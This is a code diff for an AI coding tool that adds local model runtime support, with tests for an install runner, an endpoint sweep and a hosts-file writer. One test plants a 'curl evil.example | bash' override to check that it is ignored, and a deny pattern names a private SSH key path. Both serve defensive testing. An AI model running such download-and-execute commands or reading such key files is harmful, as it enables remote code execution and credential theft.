@@ -113,6 +113,11 @@ const SENSITIVE_PATTERNS: RegExp[] = [
   /\/\.codeman[^/]*\/webhook\.json$/,
   /\/\.codeman[^/]*\/custom-model-hosts\.json$/,
   /\/\.codeman[^/]*\/custom-model-configs\//,
+  // The local model runtime (src/local-model/) is started with a private HOME inside the data
+  // dir and makes a key pair for itself there (`home/.ollama/id_ed25519`). A runtime the user
+  // runs on their own keeps the same key under their real home.
+  /\/\.codeman[^/]*\/local-model\/home\//,
+  /\/\.ollama\/id_ed25519$/,
   // Config backups are dated COPIES of the files above (users.json and settings.json
   // included), which the name-anchored patterns do not match. A custom
   // `configBackupDir` is outside what a pattern here can name.

src/web/server.ts

@@ -146,6 +146,7 @@ import { probeLocalPaths, readClaudeEditSources, resolveClaudeTranscript } from
 import { remoteLocateClaudeTranscript, remoteProbePaths, remoteReadClaudeEditSources } from '../remote-files.js';
 import { remoteTmuxLocation } from '../tmux-manager.js';
 import { stopDeepSeekWeb } from '../deepseek-web-server.js';
+import { getLocalModelService } from '../local-model/install-job.js';
 import {
   wireRespawnListeners,
   setupTimedRespawn,
@@ -264,6 +265,7 @@ import {
   pruneIdleLlamaSwapLogTails,
   tryWebviewRefererFallback,
   registerCliRegistryRoutes,
+  registerLocalModelRoutes,
 } from './routes/index.js';
 import { isLostWebviewFrameNavigation } from './webview-proxy.js';
 import { CronService } from '../cron/cron-service.js';
@@ -1417,6 +1419,7 @@ export class WebServer extends EventEmitter {
     registerDoctorRoutes(this.app);
     registerCustomModelRoutes(this.app);
     registerCliRegistryRoutes(this.app);
+    registerLocalModelRoutes(this.app, ctx);
 
     // Cron: build the service from the same context, recompute
     // due times for any persisted jobs, then expose it to its routes.
@@ -2191,6 +2194,17 @@ export class WebServer extends EventEmitter {
     // First keep-warm evaluation: publishes the effective opt-in for the Session Options
     // readout even before any cache report arrives.
     void this.keepWarmService.schedule(session.id);
+    // Before every start of a NEW agent process the session asks this (a fresh pane, the
+    // respawn of a dead one, a restart in place; never an attach to an agent that runs).
+    // The model Codeman runs on this Mac is the one endpoint with something to say: no agent
+    // is started on it while its runtime is down or its model is not the one that was
+    // installed. Every other session, and every other endpoint, is answered `undefined`.
+    // Set on every call, above the idempotency return: it holds no state of its own.
+    session.setLaunchGuard(async () => {
+      const selection = session.customModel;
+      if (!selection) return undefined;
+      return getLocalModelService().launchRefusalMessage(selection.endpointId, selection.modelId);
+    });
     // Idempotent: the wiring exit handler detaches ALL listeners on every PTY exit
     // (removeSessionListenerRefs), so the re-attach routes (/interactive,
     // /interactive-respawn, /shell) call this again to restore observability
@@ -3439,6 +3453,14 @@ export class WebServer extends EventEmitter {
       }
     }
 
+    // The model Codeman runs on this Mac (src/local-model/): a job a restart interrupted comes
+    // back paused and waits for a click, and an installed runtime that was not stopped is
+    // started again (an own orphan on its port is adopted or replaced). Off the startup path:
+    // boot() never throws, and nothing waits for a runtime to answer. Not in tests.
+    if (!this.testMode) {
+      void getLocalModelService().boot();
+    }
+
     // Sweep agent preamble caches whose sessions are gone (see
     // pruneAgentSessionPreambles). Once per boot, after restore, so every session this
     // instance owns is in the keep set. Best-effort and off the startup critical path.
@@ -4588,6 +4610,13 @@ export class WebServer extends EventEmitter {
     // got wrong once.
     void stopDeepSeekWeb();
 
+    // The local model runtime is a non-detached child, but a child is not ended by its
+    // parent's exit: it gets SIGTERM here, and an install job in flight is interrupted (the
+    // next start reads it as paused). An orphan a hard kill leaves is adopted at the next boot.
+    if (!this.testMode) {
+      void getLocalModelService().shutdown();
+    }
+
     // The header's GPU / CPU clock sampler is a Windows child process under WSL, and its idle sweep a timer.
     stopHostSensors();
 

test/cli-install-runner.test.ts

@@ -0,0 +1,298 @@
+/**
+ * @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
+ * what is new in it since it left the registry route, and what both of its callers rely on.
+ *
+ * The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
+ * test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
+ *  - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
+ *    change what the local model install job runs;
+ *  - the one install slot per CLI is shared: while the job holds it, the route answers 409;
+ *  - an abort signal kills the installer's process group, and one that is already aborted
+ *    starts nothing;
+ *  - `forgetResolvedCli()` drops both caches.
+ *
+ * Nothing is really spawned: `spawn` is a fake child.
+ *
+ * Port: N/A (app.inject(), no live server).
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { EventEmitter } from 'node:events';
+import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
+import { dirname } from 'node:path';
+import { createRouteTestHarness } from './routes/_route-test-utils.js';
+import {
+  CLI_INSTALL_TIMEOUT_MS,
+  forgetResolvedCli,
+  runInstallCommand,
+  stockInstallCommand,
+  tryBeginCliInstall,
+} from '../src/cli-install-runner.js';
+import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
+import { SETTINGS_PATH } from '../src/web/route-helpers.js';
+import {
+  getCli,
+  registryFilePath,
+  reloadCliRegistry,
+  resolveInstallCommandForPlatform,
+} from '../src/config/cli-registry/registry.js';
+import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
+
+const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
+  spawnMock: vi.fn(),
+  invalidateBinariesSpy: vi.fn(),
+  invalidateIdSpy: vi.fn(),
+}));
+vi.mock('node:child_process', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('node:child_process')>();
+  return { ...actual, spawn: spawnMock };
+});
+vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
+  return {
+    ...actual,
+    invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
+      invalidateBinariesSpy([...binaries]);
+      actual.invalidateCliExecutableResolvers(binaries);
+    },
+  };
+});
+vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
+  return {
+    ...actual,
+    invalidateCliResolverCache: (id?: string) => {
+      invalidateIdSpy(id);
+      actual.invalidateCliResolverCache(id);
+    },
+  };
+});
+
+interface FakeChild extends EventEmitter {
+  pid: number;
+  stdout: EventEmitter;
+  stderr: EventEmitter;
+}
+
+/** A spawned installer that stays alive until the test ends it. */
+function hangingChild(pid = 4_242_424): FakeChild {
+  const child = new EventEmitter() as FakeChild;
+  child.pid = pid;
+  child.stdout = new EventEmitter();
+  child.stderr = new EventEmitter();
+  return child;
+}
+
+beforeEach(() => {
+  spawnMock.mockReset();
+  invalidateBinariesSpy.mockClear();
+  invalidateIdSpy.mockClear();
+});
+
+afterEach(() => {
+  vi.useRealTimers();
+  vi.restoreAllMocks();
+});
+
+describe('stockInstallCommand', () => {
+  afterEach(() => {
+    rmSync(registryFilePath(), { force: true });
+    reloadCliRegistry();
+  });
+
+  it('is the compiled stock command of every stock CLI that has one for this platform', () => {
+    for (const entry of STOCK_CLIS) {
+      const expected = resolveInstallCommandForPlatform(entry);
+      expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
+    }
+    expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
+  });
+
+  it('is undefined for an id that is not a stock CLI', () => {
+    expect(stockInstallCommand('not-a-cli')).toBeUndefined();
+    expect(stockInstallCommand('')).toBeUndefined();
+    expect(stockInstallCommand('__proto__')).toBeUndefined();
+  });
+
+  it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
+    mkdirSync(dirname(registryFilePath()), { recursive: true });
+    writeFileSync(
+      registryFilePath(),
+      JSON.stringify({
+        schemaVersion: 1,
+        clis: {
+          opencode: {
+            discovery: {
+              install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
+            },
+          },
+        },
+      }),
+      { mode: 0o600 }
+    );
+    reloadCliRegistry();
+    // The override is in force for the registry (what the Settings list shows and the route runs)...
+    expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
+    // ...and is not what the local model install job would run.
+    expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
+  });
+});
+
+describe('tryBeginCliInstall', () => {
+  it('gives one slot per CLI id, and the slot comes back when it is released', () => {
+    const release = tryBeginCliInstall('slot-a');
+    expect(release).toBeTypeOf('function');
+    expect(tryBeginCliInstall('slot-a')).toBeNull();
+    // Another CLI has its own slot.
+    const other = tryBeginCliInstall('slot-b');
+    expect(other).toBeTypeOf('function');
+    release!();
+    const again = tryBeginCliInstall('slot-a');
+    expect(again).toBeTypeOf('function');
+    again!();
+    other!();
+  });
+
+  it('a release called twice frees the slot once: a later holder is not thrown out', () => {
+    const first = tryBeginCliInstall('slot-c')!;
+    first();
+    const second = tryBeginCliInstall('slot-c')!;
+    first();
+    expect(tryBeginCliInstall('slot-c')).toBeNull();
+    second();
+  });
+
+  it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
+    mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
+    writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
+    const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
+    const release = tryBeginCliInstall('grok')!;
+    try {
+      const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
+      expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
+      expect(spawnMock).not.toHaveBeenCalled();
+    } finally {
+      release();
+    }
+    // Released: the route installs again.
+    spawnMock.mockImplementation(() => {
+      const child = hangingChild();
+      setImmediate(() => child.emit('close', 0));
+      return child;
+    });
+    const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
+    expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
+    // And the route gave the slot back when its install ended.
+    const after = tryBeginCliInstall('grok');
+    expect(after).toBeTypeOf('function');
+    after!();
+  });
+});
+
+describe('runInstallCommand', () => {
+  it('runs the command in a shell of its own process group and reports how it ended', async () => {
+    spawnMock.mockImplementation(() => {
+      const child = hangingChild();
+      setImmediate(() => {
+        child.stdout.emit('data', Buffer.from('installed\n'));
+        child.emit('close', 0);
+      });
+      return child;
+    });
+    const result = await runInstallCommand('echo hello');
+    expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
+    expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
+  });
+
+  it('a spawn that throws is a result, not an exception', async () => {
+    spawnMock.mockImplementation(() => {
+      throw new Error('ENOENT sh');
+    });
+    expect(await runInstallCommand('echo hello')).toEqual({
+      code: null,
+      output: 'spawn failed: ENOENT sh',
+      timedOut: false,
+      aborted: false,
+    });
+  });
+
+  it('a signal that is already aborted starts nothing', async () => {
+    const controller = new AbortController();
+    controller.abort();
+    expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
+      code: null,
+      output: '',
+      timedOut: false,
+      aborted: true,
+    });
+    expect(spawnMock).not.toHaveBeenCalled();
+  });
+
+  it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
+    vi.useFakeTimers();
+    const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
+    const child = hangingChild(777_777);
+    spawnMock.mockImplementation(() => child);
+    const controller = new AbortController();
+    const pending = runInstallCommand('echo hello', { signal: controller.signal });
+    await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
+
+    controller.abort();
+    // The negative pid is the group: the installer's own children go with it.
+    expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
+    expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
+    await vi.advanceTimersByTimeAsync(3_000);
+    expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
+
+    child.emit('close', null);
+    expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
+  });
+
+  it('an aborted installer that never closes is given up on after eight seconds', async () => {
+    vi.useFakeTimers();
+    vi.spyOn(process, 'kill').mockImplementation(() => true);
+    spawnMock.mockImplementation(() => hangingChild());
+    const controller = new AbortController();
+    const pending = runInstallCommand('echo hello', { signal: controller.signal });
+    await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
+    controller.abort();
+    await vi.advanceTimersByTimeAsync(8_000);
+    expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
+  });
+
+  it('the timeout still kills the group and says so, as it did in the route', async () => {
+    vi.useFakeTimers();
+    const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
+    const child = hangingChild(888_888);
+    spawnMock.mockImplementation(() => child);
+    const pending = runInstallCommand('echo hello');
+    await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
+    await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
+    expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
+    child.emit('close', null);
+    expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
+  });
+
+  it('an abort after the installer ended does nothing', async () => {
+    const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
+    spawnMock.mockImplementation(() => {
+      const child = hangingChild();
+      setImmediate(() => child.emit('close', 0));
+      return child;
+    });
+    const controller = new AbortController();
+    const result = await runInstallCommand('echo hello', { signal: controller.signal });
+    controller.abort();
+    expect(result.aborted).toBe(false);
+    expect(kill).not.toHaveBeenCalled();
+  });
+});
+
+describe('forgetResolvedCli', () => {
+  it('drops the per-binary caches and the per-id resolver', () => {
+    forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
+    expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
+    expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
+  });
+});

test/cli-registry-no-id-branching.test.ts

@@ -167,7 +167,6 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
   ),
   "tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'),
 
-
   // Legacy <Mode>Config plumbing, same category as the `===` entries above.
   "web/routes/session-routes.ts::mode !== 'omp'": allow(
     2,
@@ -212,8 +211,10 @@ const ID_ALT = IDS.join('|');
  */
 const BRANCH_PATTERN = new RegExp(
   [
-    // mode === 'codex'  /  mode !== 'codex'
-    `\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
+    // mode === 'codex'  /  mode !== 'codex'. `cli` is the name the local model catalogue gives
+    // the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'`
+    // is the same banned branch under another field name.
+    `\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
     // case 'codex':
     `\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
     // ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
@@ -267,7 +268,7 @@ function scan(): { findings: Finding[]; filesScanned: number } {
     lines.forEach((line, i) => {
       BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
       for (const match of line.matchAll(BRANCH_PATTERN)) {
-        const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
+        const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode');
         const posix = rel.split(sep).join('/');
         findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
       }
@@ -337,6 +338,8 @@ describe('no CLI-id branching outside the stock catalog', () => {
       "if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
       "switch (mode) { case 'gemini': return 1; }",
       "if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
+      "if (harness.cli === 'claude') { doSomething(); }",
+      "const others = candidates.filter((c) => c.cli !== 'opencode');",
     ];
     for (const sample of samples) {
       BRANCH_PATTERN.lastIndex = 0;

test/custom-model-endpoint-rediscovery.test.ts

@@ -13,7 +13,9 @@
  * directly plus the mocked webviewFetch dispatcher).
  */
 import { describe, it, expect, vi, beforeEach } from 'vitest';
-import { getDataDir } from '../src/config/instance.js';
+import { readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { dataPath, getDataDir } from '../src/config/instance.js';
+import { customModelHostsPath } from '../src/custom-model-hosts.js';
 import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
 import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
 import { webviewFetch } from '../src/web/webview-egress.js';
@@ -498,7 +500,9 @@ describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits
       if (url.pathname === '/running') {
         return new Response(
           JSON.stringify({
-            running: [{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' }],
+            running: [
+              { model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' },
+            ],
           }),
           { status: 200 }
         );
@@ -602,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod
     expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list)
   });
 });
+
+describe('the sweep and the serialized writer', () => {
+  it('an endpoint created while the sweep was probing another one is kept', async () => {
+    const dir = getDataDir();
+    await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]);
+    fetchMock.mockImplementation(async () => {
+      // An admin saves a second endpoint between the sweep's read and its write. The sweep
+      // must splice its result onto the list as it is then, not write back the one it read.
+      const current = await readCustomModelHosts(dir);
+      if (!current.some((h) => h.id === 'added')) {
+        await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]);
+      }
+      return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
+    });
+
+    await refreshAllCustomModelHosts();
+
+    const hosts = await readCustomModelHosts(dir);
+    expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']);
+    expect(hosts[0].models).toEqual(['qwen3']);
+  });
+
+  it('never writes over a store that stopped parsing while the sweep ran', async () => {
+    const dir = getDataDir();
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    await writeCustomModelHosts(dir, [
+      host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }),
+      host({ id: 'b', baseUrl: 'http://localhost:8081' }),
+    ]);
+    const broken = '[{"id":"a","apiKey":"sk-keep"},';
+    fetchMock.mockImplementation(async () => {
+      writeFileSync(customModelHostsPath(dir), broken);
+      return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
+    });
+
+    await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
+
+    // It used to read the broken file as an empty list and carry on; it is left as it is.
+    expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken);
+    // And the sweep stopped there: the second endpoint was not probed for nothing.
+    expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true);
+    vi.restoreAllMocks();
+  });
+});
+
+describe('the sweep leaves the local model record alone', () => {
+  const STATE = () => dataPath('local-model.json');
+  const MANAGED: CustomModelHost = {
+    id: 'local-ollama',
+    label: 'This Mac',
+    baseUrl: 'http://127.0.0.1:11435',
+    authStyle: 'bearer',
+    models: ['qwen3.6:35b-a3b'],
+    defaultModelId: 'qwen3.6:35b-a3b',
+    defaultContextLength: 131072,
+  };
+
+  beforeEach(() => {
+    rmSync(STATE(), { force: true });
+  });
+
+  it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => {
+    const dir = getDataDir();
+    writeFileSync(
+      STATE(),
+      JSON.stringify({
+        schema: 1,
+        state: 'installed',
+        model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
+        cli: { id: 'opencode', label: 'OpenCode' },
+        runtime: { version: '0.40.15', port: 11435, enabled: true },
+        connection: { endpointId: 'local-ollama', flagWasEnabled: false },
+      })
+    );
+    await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]);
+    fetchMock.mockImplementation(
+      async () =>
+        new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 })
+    );
+
+    await refreshAllCustomModelHosts();
+
+    const hosts = await readCustomModelHosts(dir);
+    // Our record is exactly what the install wrote: no new model, no discovery stamp.
+    expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED);
+    // Every other endpoint is refreshed as before.
+    expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']);
+    for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435');
+    rmSync(STATE(), { force: true });
+  });
+
+  it('a record with that id that nobody installed is refreshed like any other', async () => {
+    const dir = getDataDir();
+    await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]);
+    fetchMock.mockImplementation(
+      async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 })
+    );
+    await refreshAllCustomModelHosts();
+    expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']);
+  });
+});

test/custom-model-hosts-writer.test.ts

@@ -0,0 +1,239 @@
+/**
+ * @fileoverview The serialized writer of `custom-model-hosts.json`
+ * (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it.
+ *
+ * What is pinned:
+ *  - two mutations started at the same moment both land (the fault the writer ends: the
+ *    endpoint routes and the discovery sweep used to read, change and write on their own);
+ *  - the check a caller makes runs in the same step as its write;
+ *  - a file that does not parse is refused and left byte for byte, and the refusal never
+ *    repeats the file's text (it can hold an API key);
+ *  - the file is written 0600 through a temp file that is gone afterwards;
+ *  - no module of src/ calls `writeCustomModelHosts()` any more.
+ *
+ * Port: N/A (no server; files in a temp folder).
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import {
+  CustomModelHostsWriteRefusedError,
+  customModelHostsWriteErrorResponse,
+  mutateCustomModelHosts,
+} from '../src/custom-model-hosts-writer.js';
+import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
+
+const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({
+  id,
+  label: id,
+  baseUrl: `http://${id}.example:8080`,
+  ...extra,
+});
+
+let dir: string;
+
+beforeEach(() => {
+  dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-'));
+});
+
+afterEach(() => {
+  rmSync(dir, { recursive: true, force: true });
+  vi.restoreAllMocks();
+});
+
+describe('mutateCustomModelHosts', () => {
+  it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => {
+    const result = await mutateCustomModelHosts((hosts) => {
+      expect(hosts).toEqual([]);
+      return { hosts: [host('a')], result: 'added' };
+    }, dir);
+    expect(result).toBe('added');
+    expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
+  });
+
+  it('an empty file is an empty list too: it holds no endpoint to lose', async () => {
+    writeFileSync(customModelHostsPath(dir), '  \n');
+    await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir);
+    expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
+  });
+
+  it('writes nothing when the mutation returns no list', async () => {
+    writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
+    const before = statSync(customModelHostsPath(dir)).mtimeMs;
+    const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir);
+    expect(result).toBe(1);
+    expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before);
+    expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')]));
+  });
+
+  it('two mutations started together both land: the second sees what the first wrote', async () => {
+    const seen: string[][] = [];
+    const add = (id: string) =>
+      mutateCustomModelHosts((hosts) => {
+        seen.push(hosts.map((item) => item.id));
+        return { hosts: [...hosts, host(id)], result: id };
+      }, dir);
+    const results = await Promise.all([add('first'), add('second')]);
+    expect(results).toEqual(['first', 'second']);
+    expect(seen).toEqual([[], ['first']]);
+    expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']);
+  });
+
+  it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => {
+    const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`);
+    await Promise.all(
+      ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir))
+    );
+    expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids);
+    // Every temp file was renamed over the target: only the one file is left.
+    expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
+  });
+
+  it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => {
+    const create = (label: string) =>
+      mutateCustomModelHosts<'created' | 'exists'>((hosts) => {
+        if (hosts.some((item) => item.id === 'same')) return { result: 'exists' };
+        return { hosts: [...hosts, host('same', { label })], result: 'created' };
+      }, dir);
+    expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']);
+    expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]);
+  });
+
+  it('hands the mutation a list it may change in place', async () => {
+    writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')]));
+    await mutateCustomModelHosts((hosts) => {
+      hosts[1] = { ...hosts[1], label: 'changed' };
+      return { hosts, result: undefined };
+    }, dir);
+    expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']);
+  });
+
+  it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => {
+    writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 });
+    await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir);
+    expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600);
+  });
+
+  it('writes through a symlink: the real file changes and the link stays a link', async () => {
+    const real = join(dir, 'real-hosts.json');
+    writeFileSync(real, '[]');
+    symlinkSync(real, customModelHostsPath(dir));
+    await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir);
+    expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]);
+    expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
+  });
+
+  describe('a file that must not be overwritten', () => {
+    const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},';
+
+    it.each([
+      ['text that does not parse', broken],
+      ['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'],
+      ['a JSON string', '"sk-do-not-leak"'],
+    ])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => {
+      const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+      writeFileSync(customModelHostsPath(dir), content);
+      const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined }));
+      await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
+      expect(fn).not.toHaveBeenCalled();
+      expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content);
+      expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
+      // Neither the error nor the log repeats the file, which holds a key.
+      const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err);
+      expect((error as Error).message).not.toContain('sk-do-not-leak');
+      expect((error as Error).message).toContain('custom-model-hosts.json');
+      expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak');
+    });
+
+    it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => {
+      writeFileSync(customModelHostsPath(dir), broken);
+      expect(await readCustomModelHosts(dir)).toEqual([]);
+    });
+
+    it('a refused mutation does not stop the ones after it', async () => {
+      vi.spyOn(console, 'warn').mockImplementation(() => {});
+      writeFileSync(customModelHostsPath(dir), broken);
+      const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir);
+      const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-'));
+      try {
+        const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other);
+        await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
+        expect(await next).toBe('ok');
+        expect(await readCustomModelHosts(other)).toEqual([host('a')]);
+      } finally {
+        rmSync(other, { recursive: true, force: true });
+      }
+    });
+  });
+
+  it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => {
+    writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
+    const thrown = mutateCustomModelHosts(() => {
+      throw new Error('boom');
+    }, dir);
+    const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir);
+    await expect(thrown).rejects.toThrow('boom');
+    await next;
+    expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']);
+  });
+});
+
+describe('customModelHostsWriteErrorResponse', () => {
+  it('a refused write is 409 CONFLICT with the fix', () => {
+    const response = customModelHostsWriteErrorResponse(
+      new CustomModelHostsWriteRefusedError('the file is not a valid JSON list')
+    );
+    expect(response).toEqual({
+      success: false,
+      error: 'the file is not a valid JSON list',
+      errorCode: 'CONFLICT',
+    });
+  });
+
+  it('any other failure stays OPERATION_FAILED', () => {
+    expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({
+      success: false,
